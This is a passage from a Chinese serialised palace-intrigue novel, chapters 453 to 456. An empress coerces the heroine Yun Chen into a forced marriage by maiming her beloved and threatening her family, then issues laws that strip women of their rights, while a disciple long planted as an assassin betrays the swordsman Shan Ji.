“阿璃,这下你终于知道,我自回宫以来,为何不与你亲近了。也该知道,我为什么敢叫你赐云琛给我。阿璃,在洛疆王庭被狗群攻击过后,我那里新伤加旧伤……就不太行了……”
颜十九说着,眼圈适时地红了起来,果然在南璃君脸上看见震惊的神情。
她不可思议地又摸了一遍,衣衫不整地坐起身,许久才反应过来,表情竟没有难过,反而有些许释然的样子,心说:
原来是为这个原因才总拒绝她,不碰她呀?!那她能接受了!总好过颜十九变心呀!
而且这样一来,颜十九这辈子都不能与云琛有夫妻之实,既免得背叛她南璃君,又能叫云琛一辈子守活寡!实在妙!妙!
想到这里,南璃君心情大好,她搂住难过的颜十九,柔声安慰:
“不打紧,我永远爱你,你知道的,只要能和你在一起,一辈子不做那事也行,我的心不会变。”
“谢谢你,阿璃。”颜十九说,再次以一个深情绵长的吻作为回报。
感觉到南璃君身体越来越躁动难安,那一脸绯红未退欲求不满的样子,颜十九极有眼色地找了个借口,离开了凤驭天殿。
出了宫苑大门,他挑僻静人少的地方走去,万宸悄无声息地从阴影里出现,熟练地将一瓶解药和一壶薄荷水递上来。
颜十九照旧漱口,服药,沾湿帕子,擦去脸上和脖子上沾到的南璃君的口水。
等整个人又重新洁净清爽了,他呼一口气,认真说道:
“我就快要和云琛成婚了,怎能睡别的女人?我必须守身如玉,为云琛留下我的童子身!”
这话令身旁的万宸沉默了,心说:
童子身?别开玩笑了,皇上,那玩意儿,您真没有……
想归想,万宸嘴上还是劝道:
“从前,您总要用玉家那销魂一笑才能行事。如今,每次进宫之前,又都要服用这令男子不振的秘药压制。药吃多吃杂了,恐怕伤身,您千万小心龙体。”
“哈哈……”颜十九仰头大笑,“放心,我能舍得叫小云云——你未来的娘娘主子独守空房吗?况且她将来还要为我生一堆东炎皇子呢,我心里有数的。”
颜十九说这话的时候,神情难得愉快又轻松,眼神也亮盈盈的。
万宸点点头,不再说话。
二人继续沿僻静宫道向外走,没一会儿,却与一道匆匆赶来的身影碰上。
不言在摄政王府,与枭泽一起悄悄看过云琛后,就又回到宫中。
他刚在侍卫所坐定没一会儿,就有宫人来替南璃君传令,说有事召他速去,很急很急。
不言自然知道又是为那事,但颜十九还在宫里,为了不与颜十九碰面,暴露南璃君这秘密,不言特意挑了条最僻静的宫道走,没成想恰恰和颜十九迎面遇上。
这条宫道直通凤驭天殿,颜十九动动脚趾头都能猜到,一定是南璃君欲火难平,急需不言去“救火”。
不言连扯谎的机会都没有,正想着该怎么糊弄过去呢,却见颜十九笑意盈盈,主动走了过来。
他一脸早就对一切心知肚明的微妙表情,友好地拍拍不言的肩膀,语气像是托付,却又带点玩味笑意:
“辛苦你了,兄弟,以后都得靠你了。回头我让万宸拿点鹿鞭酒给你。”
迎着不言惊讶的表情,颜十九有些俏皮地眨眨眼,指了指凤驭天殿的方向,将食指竖在唇边,作了个“噤声”的手势,然后再次拍拍不言的肩膀,随即神采飞扬地大步离去。
第453章 飞刃
云琛交付完兵权,再次匆匆赶回永安殿,时间刚好过去三个时辰。
三个时辰,可以发生很多事,足够为每个人写下改变命运的重重一笔。
心头惦念着云莲城和华氏,云琛一路上都跑得又快又急,没时间包扎身上的伤口,甚至连口水都没来得及喝。
再加上一天一夜没睡,云琛整个看起来乱蓬蓬,脸色有些苍白,嘴唇也干裂起皮。
但她的眼睛却是亮晶晶的,有喜悦又期待的神采在里头。
她为交出兵权、保住了所有人的性命而开心。
不管接下来,南璃君要下令将她、霍乾念、荣易、段捷……所有人免职还是抄家,只要没有流血牺牲,就是最好的结果。
云琛这样专注地想着,未曾注意到苏正阳不在,接完兵权后,竟没有立刻回宫来,他一直安排的亲信禁军们也不在。
眼前的禁军们,个个脸孔陌生,神情严肃戒备,毫不客气地为她套上比之前还要沉重的枷锁。
整整一百五十斤的沉重铁枷,从左右两边合并,将她的脖颈卡牢、卡死,压得她肩头一痛,身子不由矮下去几分。
两个禁军粗鲁地将她胳膊拧起,用铁锁反拷在铁枷上,然后抬出百斤重的铁块,坠束在她双脚上。
这样一来,任她武功盖世天下无敌,也逃不出这最简单粗暴的刑具加身。
上完枷锁镣铐,二十个禁军押着云琛,径直来到一处陌生的殿宇。
短短百丈的路而已,云琛的脖子和肩头就被那一百五十斤的铁枷磨得红肿生疼。
她咬牙承受着,艰难迈开步子上前,正见南璃君稳坐高位,数百禁军从旁森严而立。
霍乾念和她同样的刑具加身,被二十个禁军从另一个方向押上来。
“阿念。”云琛轻轻叫了一声。
霍乾念费力地抬头一笑,脖间红肿比云琛的还要吓人,已经有要破皮的迹象,看起来铁枷比云琛的还沉重,压得他转头都费劲。
“我很好。”他眨眨眼睛,安慰地这样说。
云琛自然清清楚楚看到他身上的伤,瞬间心疼不已,想上前一步,却立刻被两个禁军强行摁倒,朝南璃君跪拜了下去。
霍乾念那边亦是如此,被强摁着低头叩首。
两人的身体虽在行礼,头却不约而同朝向对方。
两双视线在空中交汇,紧紧缠绕。
这一幕令高座上的南璃君忍不住发出一声嗤笑。
她把玩着刚刚到手的两枚兵符,一枚狮形,一枚虎形,如今与五十万大军一起,都牢牢掌握在了她的手心。
如愿削去霍乾念与云琛的权势,转为自己的倚仗,南璃君心情愈发愉快,也懒得再装什么被奸臣蒙蔽的痛心君主。
她伸出纤纤玉指,捏起那枚虎形兵符,陀螺似的在茶盏上旋转玩弄,发出叮叮当当的磕碰声响,然后丢进滚烫的茶水中,“啪”一声合上杯盖,笑得狐狸似的狡猾,道:
“云琛,朕说话算话,你既然将兵权交还,那朕便免除汝等死罪。罪首霍乾念,削权免职,幽禁霍府。党羽段捷、伏霖、荣易及罗东东,贬为普通将士,云望及其家眷、云氏族人流放岭南。”
最后一句话令云琛惊呆了,她不明白为什么云望所受的惩罚竟然最重?还要牵连远在幽州的白氏、云岚、云恬她们?
流放岭南?意味着一家老老小小,要靠双腿双脚徒步几千里!
一路上多有衙役欺压、强盗觊觎不说,那岭南是何等绝苦之地?!潮热异常,遍布毒蛇虫蚁。
云琛那后母白氏已经年近五十,云莲城才六岁,云恬最小的孩子才两岁!
这样一家老弱妇孺,只怕还没走到岭南就要丢了性命!
云琛大急,跪行一步,却被沉重的铁枷坠得身子摇摇晃晃:
“皇上,为什么要对我的家人如此重刑?他们对朝政之事一无所知,与昨夜宫变没有任何瓜葛!请您从轻处罚他们,只罚我一个人就好!”
“一无所知?”南璃君冷笑一声,抬手将一样东西扔在云琛面前。
云琛低头看去,是一块端正又漂亮的松烟墨,唯皇宫御赐才有。
云琛不明白这是什么意思,就听南璃君又道:
“霍帮逆反,你云家就清白了?云望乃是谋逆贼人倪鲲的入室弟子,在倪鲲死前,与其暗中勾结往来,送了不少你云家的东西给倪鲲呢!如此,你还敢说云家清白,于朝政一无所知吗?!”
这消息令云琛始料未及。
她自然记得那位麻衣袖扣有破洞的老人,以奸臣自居,却笑得那样儒雅,宽和,洞察世事。
但从没人告诉过她,云望是他的入室弟子,有着一脉相承的心性。
那些这事,云琛都不知道,南璃君又从何得知?谁将云望与倪鲲之事告密的?
她本能地看向霍乾念,习惯性认为,不论任何她猜不透的难题,霍乾念应当都是知道的,却见霍乾念并不抬眼看她,而皱眉对南璃君道:
“皇上,就算云望是倪鲲学生,凭此就下定论,认为云望也有谋逆之心,实在太牵强,况且祸不及家人,不必连累家眷亲属。”
“祸不及家人?”南璃君像是被这句话逗笑了,慢悠悠端起杯子,吹着上面的茉莉花瓣,嘴角挂着从容又戏谑的笑容,幽幽道:
“我记得,当年你还是霍帮少主时,曾处置过一个叛徒,叫什么霍淑明,他一家几乎全被牵连绞杀,那时你怎么不说祸不及家人?
霍乾念,这么多年你以‘师者’自居,处处对我指手画脚,唉,我到底没辜负你的期望,得到了你的真传,不是吗?你想要我宽恕云望,凭什么?”
这讥讽带恨的语气,明明白白都是对霍乾念的积怨已久。
云琛看懂了,却怎么都猜不到南璃君早已酝酿多年的恶毒心意。
她忍着脖间铁枷坠痛,深深叩首,恳切看向南璃君:
“请皇上开恩,云望的事与阿念无关!您冲我就好,只要能宽恕我的家人,您让我做什么都可以——”
“琛儿!”霍乾念急声制止。
南璃君却嘴角笑容更甚,显然云琛咬住了鱼钩,正中她下怀。
南璃君笑问:“此话当真?”
霍乾念使劲摇头,示意云琛不要再说,然而云琛只是犹豫了一瞬,就再次叩首,郑重承诺道:
“当真!只要您能宽恕我的家人!”
南璃君假模假样地考虑了一下:
“流放已是最低的刑罚,不能更改,那就......别去岭南,改为发配幽州吧,你们云氏从哪里来,回哪里去。云琛,这已是朕最大的宽恕。”
这命令看似宽仁,实则羞辱到了极点。
先不论云氏究竟真有罪还是被诬陷,人都说衣锦还乡最风光,那还有什么是比落魄归乡更耻辱的呢?
当年雄霸一方赫赫有名的豪门望族,如今沦为阶下囚,大宅子被没收,锦衣被扒去,一家老小要挤在那破旧低矮的巷子里。
从前俯视过的市井,如今就要平起平坐,从前就难缠的云氏族人,此番被连累,今后更会时时刁难。
这在南璃君看来,是折磨人最好的办法。
云琛自然看不透这份恶意满满的“宽恕”,她心怀感激地再度叩首,认认真真谢过皇恩,却听南璃君那残忍的声音,冰冷无情地漂浮在金碧辉煌的宫殿上空,有些不情愿,但更多是畅快地说,
“朕可以这样宽恕,条件是你答应朕的赐婚。”
赐婚?
云琛压根没想过,都到这个时候了,南璃君竟然还想成全她和霍乾念?实践那多年前就许诺过的赐婚?
云琛颇感意外,看向霍乾念,却见他并无惊讶之色,而是对着她勉强又苍白地轻轻一笑。
那从来淡定自如的凤眸,里面第一次满是强行掩饰的慌张。
随即,云琛便听到南璃君那如晴天霹雳的话语:
“朕将如约为霍乾念,为你赐婚。将知罗许配给霍乾念,你云琛赐予颜卿。”
短短两句话,几十个字而已,犹如当头一棒,敲得云琛浑身一震,脑子嗡鸣不止,身子杵在原地摇摇欲坠,眼前一切都骤变成了模糊的慢动作。
也许是一眨眼的时间,也许是一万年那么长。
云琛看见霍乾念从喉间发出前所未有的愤怒嘶吼,瞪着发红的眼睛朝南璃君冲去,却被禁军们蜂拥而上,轻易踹倒。
他挣扎着站起,就又被打倒。
再站,再倒……
直到一声刺耳的机括声响起,一道尖利的飞刃自最阴暗的角落里直直射出,从后狠狠扎穿他的膝盖,才令他最终跌倒在地上,怎么都爬不起来。
沉重的铁枷重重砸在宫砖上,发出比惊雷还炸耳的闷响。
他的脖子、下巴、肩膀……到处鲜血淋漓,全是被铁枷磨伤的痕迹。
那扎穿他膝盖的飞刃,将整个膝盖搅得血肉模煳,爆碎的膝盖骨碎片从皮肉里扎出来,混合着鲜血,啪嗒啪嗒地落在地上。
霍乾念疼得脸色骤白,嘴唇不停颤抖,却死死盯着南璃君,还想再暴起。
这时,第二道飞刃破空而来,擦着霍乾念另一条腿的皮肉而过,再次将他带倒在地。
南璃君不紧不慢地从高座上站起,没有看霍乾念,而是对着云琛说:
“还不答应吗?再不答应的话,下一刀可不会扎偏了喔,从今往后,你的阿念就又要坐轮椅了。哎呀,坏了!这世上再没有风蚀草了,再双腿残废的话,就一点办法都没有了呢!”
这番话令云琛陡然睁大眼睛,惊醒意识到那可怕的后果。
她控制不住地浑身发抖,不可置信地看看南璃君,又崩溃地看向仍在匐地挣扎,企图反抗这赐婚的霍乾念。
如果不答应下这赐婚,霍乾念将永永远远失去双腿。
如果不答应,云氏全家将被流放岭南,死在荒芜遥远的途中。
如果不应,南璃君还有一千一万种办法逼云琛就范!
毕竟还有荣易,罗东东,段捷,伏霖……还有他们的家人……
这些,全是攥在君王手里的软肋,任何一条拿出来,都足以迫使这世上最无畏的英雄低头。
站在这穷凶极恶的末路,云琛好似听见山崩地裂的哭嚎声从自己胸腔里发出来。
她张开几乎全是血腥味的口,硬生生咽下那刀子一样痛的眼泪,闭上眼睛,颤声道:
“我答应。”
她久久不敢睁开眼睛,不敢去看霍乾念。
沉重的铁枷坠得她身子直打摆,一天一夜的高度紧张终于在这一刻得到释放,所有希望也在此刻幻灭。
在晕厥前的最后一刻,云琛听见的是南璃君放肆痛快的笑声,还有霍乾念无尽悲戚的呐喊……
南璃君那样高高在上,以胜利者的姿态对霍乾念说:
“到今天,你应该明白了吧,霍乾念,你和倪鲲一样,都比我聪明,比我强。你不敬我,是因为从心底里面觉得我不如你,但霍乾念,你要知道,这天下不是由能人来坐我的位置,而是由能人来做我的臣。”
第454章 颜夫人
楠国三十三年,大雪节气,雪仍未来。
皇宫夜宴的惊变传遍京都城,霍乾念血溅三尺杀了西炎王的事,令整个楠国上至贵族豪绅,下至平民百姓,无一不震惊。
议论声沸腾滔天,人人都在揣测这等荒谬事到底是真是假时,数道皇令犹如金黄色的利箭,自那璀璨无情的皇宫迸射出,再次惊动四野。
一令细数霍乾念藐视皇威、擅自刺杀西炎王、意图挑起国战等重罪无数。
但感念其多年来护国战功,加之诚心交还兵权以示忏悔,特宽恕其死罪,免职免权,贬为平民,罚没霍帮一切堂口、土地、屋宅等财产,所有金银尽数充公。
判令霍乾念终身幽禁霍府。
二令斥责段捷、伏霖、荣易、罗东东一干将领结党营私,冒犯天威,贬为低等将士;云望及家眷罚没所有财务,贬为庶人,流放幽州外。
三令狮威虎威将军,全军取消番号,重新编制分配,其中四十万人马前往东部、南部边境驻扎,沿途分流,每支部队人数最多不可超过两万。
剩余十万人马留守京都,前往百里之外的酆都山演习,无令不得出山。
四令皇恩浩荡,皇帝念及旧情,仍兑现赐婚许诺,许霍乾念与云琛各自婚配,十一月初一完婚。
并令,云琛属从犯,不作重罚,只婚后由夫家仔细看管,无夫令,不得随意外出。
这四道圣旨一出,可谓举国目瞪口呆。
人们震惊于这突如其来的宫变,惊讶霍乾念与云琛那般权势滔天,功绩可载入史册的地位,竟然一夕之间大厦倾颓,被连根拔起,近乎灭绝。
更愕然于,原来多年以来,南璃君所谓的“会为霍乾念,为云琛赐婚”,那奇怪的断句,玩的是最简单又巧妙的文字游戏,意指为二人分别赐婚,从来就没有允许霍乾念与云琛结为婚好的意思。
好一个绝妙恶毒的点子啊!
人们禁不住哀叹,当年怀揣着赐婚许诺、那样无畏奔赴战场的霍乾念,可曾窥见过君王早早生出的谎言和忌惮?
料到他不惜一切代价想要娶到的姑娘,最终却落得一个被赐给皇帝男宠的下场?
英雄落幕总是令人唏嘘,百姓们同情,惋惜,悲叹。
然而这种情绪并未持续太久,朝廷陆陆续续公布的新令,就令百姓们自顾不暇,没功夫再去替霍乾念和云琛感叹了。
南璃君下令,全面废止摄政王和武丞相上任以来颁布的所有新令。
尝过“仁政”甜头的百姓们,被迫重回从前平庸、纰漏百出的规则之下。
只是又回到老样子而已,尚且能忍,可南璃君的一道新律例,却令整个楠国民怨频生,埋下了祸殃的种子。
此新律例,不仅推翻了云琛作为武丞相时制定的“女子等同权”,竟还与之背道而驰。
下令即日起,楠国境内女子,除皇权特许的女官们,其他女子皆免除一切平权。
全国禁止女子女扮男装,禁止女子抛头露面,禁止女子从商从工从政,禁止女子读书习字,禁止女子未经夫家外出,禁止女子在公开场合大声说话等等......
除此以外,女子户籍允许买卖、转让和赠与,意味着女人不再是独立鲜活的个人,而沦为可以随意交易买卖、生杀处置的男权附属品。
这等文明倒退千百年的律例,不仅狠狠关上了云琛用尽一生力气、才短暂地打开过的那腐朽礼教的大门。
还连同云琛一起关在里面,撕碎她们头顶的日月,无情地掐住了所有女子的命脉喉咙。
老百姓们想不明白,为什么南璃君明明自己就是女人,却要如此苛待这世上其他女人们呢?
要知道,有的女子,曾在幽州决战时,还为她上过战场的啊……
新律例颁布的那天,京军便开始了全城巡逻,大街上再也看不见一个女子的身影,听不见一点女子的声音。
只有云琛自那皇宫偏门被押解而出,死死捆缚在囚车里,垂着蓬乱的头颅,缓缓驶向颜府。
这一去,她也将和所有女子们一样,再难迈出那高深的府门。
路边的百姓们驻足垂首,不忍去看保家卫国、守护了楠国江山一次又一次的战争英雄沦落这下场。
那来时光辉灿烂的凯旋大道,此刻鸦雀无声,只有骨碌碌的车轮声,压过满地阴冷的寒霜。
忽然,一个清亮又激昂的女声打破死寂,气势十足地响彻凯旋大道:
“飞鸟尽!良弓藏!狡兔死!走狗烹!云将军,她忘了你是英雄!可我不会忘!这天下的老百姓们不会忘!”
这大逆不道的言论加上女子的声音,让百姓们纷纷惊讶望去。
只见宋禄老伯爵家的五小姐宋俏俏、曹国公家的大小姐曹姝妤,两人站在不远处那已被强行闭馆的凌云武馆二楼,冲着云琛的方向,用力挥舞着一杆匆匆缝制的虎头大旗。
曹姝妤好像全然忘了“体统”和“礼教”是怎么回事,用尽全力对仍垂首不动的云琛喊道:
“云将军!武丞相!把你的头抬起来!看一看你打下的太平盛世!看看你用性命护下的江山百姓!云将军!别怕!她打不倒我们!封不住我们的嘴!”
云琛依然没有抬头。
其实早在宋俏俏喊出第一句话,她就认出了那声音。
只是她不敢抬头去看。
她怕叫宋俏俏和曹姝妤看见自己双眸溢满泪水,亦怕看见她最不想看见的一幕——
果然,宋俏俏和曹姝妤喊了没几遍,立马就有大队的巡逻京军冲上来,将两人扭下二楼。
宋俏俏人虽然被两个禁军拖拽着,可口中还是不断大喊着“她忘恩负义”“她不配这天下之主!”
所有人都能听出来,那个“她”就是指南璃君,感叹宋俏俏勇敢无畏的同时,也替她和曹姝妤捏了把汗。
敢当众讽刺皇帝,说出这等造反言论,还公然违背女子不许抛头露面和在公开场合大声说话的新律例,不知会有什么后果等着这两个女孩子。
随着囚车渐渐离去,宋俏俏和曹姝妤的声音也越来越模糊。
云琛最后能听到的,是宋禄老伯爵慌张心痛的乞求,垂暮的老人空有爵位而无实权,只能对着年轻冷酷的京军卑躬屈膝,连连哀求不要对宋俏俏动刑。
曹国公家也匆忙来人拉曹姝妤回去,倚仗曹国公家的权势,硬着头皮与京军推搡起来。
云琛终于敢抬起头,泪水一颗颗落在脖间冰冷沉重的铁枷上,混合着铁质的腥味,流进脖颈处早已磨烂的伤口,蛰得皮肤刺痛。
她回头望去,莫名有种虽无敌军进犯、这泱泱楠国却已走到乱世与迟暮的错觉。
难道,她真的错了吗?
若发兵屠戮,让这京都血流成河,就对了吗?
有生以来,她第二次动摇。
第二次觉得,若这天下无王,由百姓做主,该多么好……
在这样无尽的混乱与纠结中,一个时辰后。
囚车停在了匆忙翻新过的颜府正门口。
棕漆的府门大开,颜十九白衣如雪,发冠如玉,全然一位风流倜傥的绝世贵公子,高大的身姿临风而立,笑盈盈地望着她。
他抬手示意押解的禁军为云琛卸去所有枷锁,在云琛因连日苦楚、身心饱受折磨而站不稳要摔倒的时候,大步流星冲去,一把将她抱入怀中。
“颜夫人,余生不吝指教,小生倾耳恭听。”
第455章 一步三回头
十月二十七,凶日。灾煞冲南,不宜远行。
幽州广原城外,山顶眺云庐中,夕阳如金,照着道观前巨大的青鼎白烟袅袅。
一道血红色的身影来来回回,忙忙碌碌,残香白烟还未燃尽,山寂已将行囊收拾妥当,最后对旁边一身道袍伫立门前、神情无比担忧的霍阾玉嘱咐道:
“记牢了,我不在的这些日子,谁叫门也不许开。要有人狗胆包天敢翻墙,立马会被我布置在墙围旁的机关乱箭射死。
地窖里有我置办好的米、面、瓜果、蔬菜、药材还有布匹什么的,你至少半年不用去采买,我再说一遍哦,不许一个人出门,听见没有?”
霍阾玉点点头,忧心忡忡地看着山寂飞快往身上绑暗箭、藏暗器的动作:
“你要去很久吗?”
“不知道,我日夜不停驾马,最快十一月初一能到京都,后面就看情况,只要杀了狗皇帝我就回来!”山寂起说着停下动作,将无义血卫探子发来的信又看了一遍。
越看他越有火,忍不住狠狠将信扔在地上,踩了个粉碎,切齿骂道:
“狗皇帝!当初就不该只是吓唬她,就该直接杀了她!也就轮不到她如今这样作践琛儿!妈的!”
山寂虽然人在这道观同霍阾玉住着,但一直安排了无义血卫的探子,在不打扰云琛的距离,将云琛的近况隔三岔五汇报一遍。
这京都宫变之事发生的太突然,无义血卫那探子得知消息的时候,云琛已经交还完兵权了,再发急信给山寂时,云琛人已经被押进颜府。
从信中,山寂大概了解了整件事的经过。
一听云琛要被迫嫁给颜十九,光是想象云琛那委屈受罪的样子,山寂就额头青筋直突突,恨不能现在就将刀子捅进南璃君喉咙。
霍阾玉也看过那信,心中忧重不亚于山寂。
但为了不给山寂添麻烦,耽误他快速行路,也为了不给南璃君送上新的制约霍乾念的软肋,霍阾玉选择留在道观,等山寂回来。
她思索片刻,蹙眉劝道:
“有没有不行刺的办法?皇帝处在深宫,有许多禁军守卫,还有京军相护,实在难以得手,我怕……”
我怕你太危险,山寂。
这句霍阾玉没有说出口,但山寂都懂,他一边往靴子里装短刀,一边抽空抬头,呲着白牙冲霍阾玉笑了笑,随后眉眼又阴沉下来,骂道:
“那狗皇帝必须要杀!她此番能逼迫琛儿低头,肯定是拿家人、朋友……一切琛儿在乎的人去要挟才得逞。这低劣本性永远不会改,别指望那狗皇帝会良心发现会变好,只有杀了她,才是一劳永逸!”
说完,瞧霍阾玉眉头紧蹙,小脸紧张地皱在一起,无意识地不停咬嘴唇,咬得那唇红艳微肿,山寂不禁心头一动,大着胆子伸出食指,轻轻勾了下霍阾玉白皙的脸蛋,又拍拍自己肩膀,笑道:
“喂,我说阾玉道长,你当我是什么三脚猫功夫的小辈?我是无义血卫的掌门哎,这天下还没有能与我打个平手的家伙,懂吗?你说是吧,青鸢——”
山寂说着看向围墙边摆弄机关的年轻人。
青鸢,是山寂给年轻人起的名字。
虽然有点娘,但听起来挺别致,年轻人说喜欢。
山寂也特别喜欢这个新来的家伙,一年多前,狮威虎威大军离开幽州的那天,他从一群奴隶贩子手里,救下了被打得奄奄一息的年轻人。
在得知年轻人之所以做奴隶,是为了给身故的母亲买棺材买坟地,才甘愿将自己卖为奴隶时,山寂二话不说就买下了年轻人。
在山寂看来,一个孝顺母亲的孩子,再坏也坏不到哪里去,从此便给了年轻人“青鸢”的名字,带在身边日日教导。
青鸢虽然以前没学过功夫,但悟性极高,学什么都很快,仔细刻苦,从不马虎,还包揽了道观里里外外的所有杂活,心甘情愿由山寂成天使唤来,使唤去,跑腿打杂。
且青鸢人虽然勤快好学,但性子孤傲,颇有点小脾气在,就是对着山寂,也时常臭脸不待见。
这反而愈发合山寂的胃口,觉得青鸢这小子,那股桀骜劲儿,实在是太像当年的自己了。
“喂,小子,我走了以后,你可得把道观给我看牢了,照顾好你师母,听见没有?”山寂喊了一嗓子。
“师母”二字惹得霍阾玉脸通红,拧了山寂一下。
青鸢连头都不带抬一下的,不耐烦地敷衍道:
“昂昂昂!说了一百八十遍了,还说!人老了就是话多。”
“哎呦喂,我把你小子——”山寂随手想抓块石头丢青鸢,却发现院子里里外外都被青鸢打扫得干干净净。
这么大的院子,这么多的海棠树,却连一片落花都没有,就连霍阾玉最爱的桔梗花,都被修剪得根系整齐,摆在供台上。
山寂只能走过去,一把从后锁住青鸢脖子,笑骂:
“你小子说谁老呢?这样对掌门说话,不想活了?还想不想跟我学修炁了?”
“咳咳……”青鸢被勒得直咳嗽,想挣扎,却怎么都挣不脱,很快就脸憋得通红,却怎么都不肯求饶,只道:
“你不是掌门,咳咳……你是我师父!咳咳咳……哪有师父这样欺负徒儿的?!”
看着青鸢笨拙反抗还反抗不过的样子,山寂忍不住哈哈大笑,松开手,故意使劲揉乱他的头发,然后在青鸢嫌弃的眼神中,背起包裹往外走,重新整顿面容:
“我走了,杀狗皇帝去!”
走出去两丈,山寂回头看向霍阾玉,拍拍自己肩膀上的包裹,问她:
“你要我捎给琛儿的东西,装我包裹里了吗?”
“装了。”霍阾玉说。她能够带给云琛的东西没有太多,不过是一大瓶鲜艳风干的海棠花,是去年收存起来的。
山寂点点,继续往外走,走出去两步又回头:
“我给你那簪子呢?那簪身藏锋刃,关键时候摁动簪头上的宝石,可令锋刃弹出,可作防身,带着了没有?”
霍阾玉摘下纶巾,微微偏头,将一头墨水一样黑亮盘起的秀发给山寂看,“带着了,放心。”
“哦。”山寂应了一声,又继续往外走。
将走到大门口,他再次停了下来。
这次,山寂还没来得及转身说话,就被一旁早已看得不耐烦的青鸢推出大门,小声嘟囔抱怨:
“这家伙,一步三回头的,有完没完了,观里吃喝拉撒一切有我,我在,师母就在,有什么好担心的,赶紧走吧,啰嗦死了!”
山寂被硬生生推出观门,气骂:“你小子真是胆子越来越肥了,敢推我?”结果话还没说完,就被青鸢一门板拍在了鼻子上。
青鸢插好门栓,拍拍手,松了口气,扭身对霍阾玉说:“秋风太凉,您进屋里去吧”,却见霍阾玉没有动,仍静静望着观门,像在等待什么必定会出现的画面。
果然,下一瞬,只见一道红衣如火,跃上那高高的墙头,小心避开机关位置,站定在最繁盛的一棵海棠花树旁。
山寂紧了紧肩上的包裹,不羁的眉眼镀上温柔,周身狂傲之气收敛得干干净净,只剩白皙俊逸的侧脸隐在夕阳灿烂的光线里。
他指指身旁海棠树上,那还有一半未开放的花骨朵,冲霍阾玉挥手:
“等花全开的时候我就回来了,我保证。”
说罢,他潇洒跳下墙头,伴着逐渐远去的马蹄声,身影消失在茫茫黄昏。
霍阾玉定定站了片刻,不自觉弯唇笑起,这才转身回屋。
第456章 美人关
回了三次头,够了,再回就不帅了。
山寂心里这样说,然后快速整理心思,开始盘算潜进皇宫杀了南璃君的计划。
他将马驾的四足离地几乎飞起,日夜不停地赶路,连喝水啃饼子都是在马背上进行,除了撒尿方便,他几乎没有停过马。
跑到第四天的时候,人马都进入最疲惫的时候,山寂眼皮子沉得打架,座下马儿也喘得跟风箱似的,快要跑断气。
想了想,山寂决定找地方歇两个时辰再走,抬头看见前面不远处有一处废弃的荒城。
他牵马过去一看,破败的城门上还挂着陈旧的石匾,写着“美人关”三个大字。
他在城里城外细细搜了一遍,到处空无一人,连个乞丐都没有,是个安全能休息的好地方。
但照高手谨慎的习惯,山寂没有选择在屋子里休息,还是找了棵枝叶茂盛的大树,躲进树冠里,以枝叶遮挡身形。
他躺在粗壮的树枝上,凝神听了许久,感觉到周围一点异动都没有,他才慢慢放松下来,准备睡一觉。
然而眼皮子刚合上没一会儿,一阵急促的马蹄声将他从半睡半醒中惊醒。
一道熟悉的身影由远及近,一边狂奔驾马,一边不停东张西望,焦急大喊着:
“师父——师父——”
听出那是青鸢的声音,山寂心里“咯噔”一沉,下意识想到霍阾玉出事了!
他一个鲤鱼打挺翻身而起,跳下树急急迎去,但仍不忘警戒本能,止步在数十丈外,眯起眼睛仔细打量青鸢。
见青鸢衣衫破碎,浑身是血,连滚带爬地跌下马,朝自己跑过来,山寂不动声色地后退一步。
直到青鸢扑跪在他面前,捧出那血迹斑斑、他专门买来给霍阾玉防身的簪子,他才彻底卸下所有戒备,惊问:
“出什么事了?”
青鸢捧住身上鲜明又骇人的刀伤,吐出一大口血,满头冷汗,脸色惨白,哭道:
“师父,你刚一走,就有一群穿兵服的冲进道观,全是宫里的禁军!徒儿殊死抵抗,奈何他们人实在太多,最后......掳走了师母!”
山寂头皮一麻,火气上涌,心骂他妈的,狗皇帝倒是机灵,大约猜到他要加入京援助云琛和霍乾念,对她不利,倒比他还先动手了!
“他们往哪个方向去了,走的和我是同一条去京都的路吗?”
“是!他们人多脚程慢!我特意绕远路来追你,师父,我们怎么办?”
“怎么办?哼!”山寂冷笑,拿出身上暗藏的各种暗器和匕首,全部分给青鸢,又掏出无义血卫的疗伤秘药给青鸢服下。
他自己则只拿了把常用的短刀,招呼青鸢:
“走,掉头,包抄那群杂种个措手不及!”
说罢,山寂和青鸢一前一后翻身上马,往回飞奔。
但跑出去一段距离,山寂突然意识到有点不对劲。
按青鸢的身世,自小孤苦,与母亲相依为命。
他从没去过京都,也没进宫见过禁军,怎么能从冲进道观的人群的服制上,认出他们是禁军呢?
大概是日夜赶路太久,身体太过疲乏,山寂一时疑惑却没反应过来,手中缰绳一顿,马也跟着顿了一下。
只这么一瞬间,驾马紧跟在他身后的青鸢突然以闪电般的速度从马背上暴起,用山寂从未见过的凌厉身手扑过来,狠狠一刀扎进了山寂胸口。
山寂整个人被撞下马,在泥土地里打了好几个滚才停住。
他强支起身子,想要运炁爬起来,却感到周身血脉锥心疼痛,视线也一阵阵模糊,根本动弹不得。
“没用的,别挣扎了,刀尖上是我攒了一年多的海棠花瓣和桔梗根,才积累炼制出来的剧毒,还去山下你最爱去的那孤坟前,抓了把灵芝草放进去,专克你修的炁。”
青鸢一改过去一年多来那青涩、傲娇、少年气的模样。
他笑得像只阴险老练的黄鼠狼,也不再掩饰那绝好的武功举止,慢悠悠走到山寂面前,皮笑肉不笑:
“皇上说,代她向你问好,山寂掌门。”
山寂眼睛死死盯住青鸢的嘴脸,心下全都了然:
青鸢是南璃君早早安插在他身边的杀手,一年多的蛰伏,心甘情愿地扮演一个有个性、有天赋、颇有山寂当年风采的小徒弟,日日洒扫、刷恭桶、跑腿、学着些早就滚瓜烂熟的武功路数,只为等待一个绝对成功的机会动手。
青鸢很聪明,他知道山寂是个戒心非常高,鲜少放松戒备的人。
他耐心用一年多的时间取得山寂的信任,耐心等待南璃君抛出“云琛”这个诱饵。
等山寂赶路到最疲惫、满心为云琛忧心而最松懈的时候。
这时再将他自己故意弄成满身伤痕的样子,用霍阾玉作为突破山寂防线的最后关键一击。
如此长久的谋划,如此细心,想不成功都难。
败在这种小人手里,山寂心头不甘。
但败归败,屈服求饶是不可能的。
饶是在这种濒死的境地,山寂仍邪邪扯嘴一笑,发出一声轻蔑的冷哼:
“演挺好啊,畜生,不登台做戏子,咳咳......真是可惜了......”
山寂越说越费力,开始感到毒素深入全身筋脉。
青鸢无所谓地晃晃脑袋,“我把这当作称赞了哦!”然后从已完全不能反抗的山寂怀里,抽出那根簪子。
他将簪尖抵在山寂心脏位置,一边用力一点点深入,故意叫这痛苦巨大,一边用戏谑的语气道:
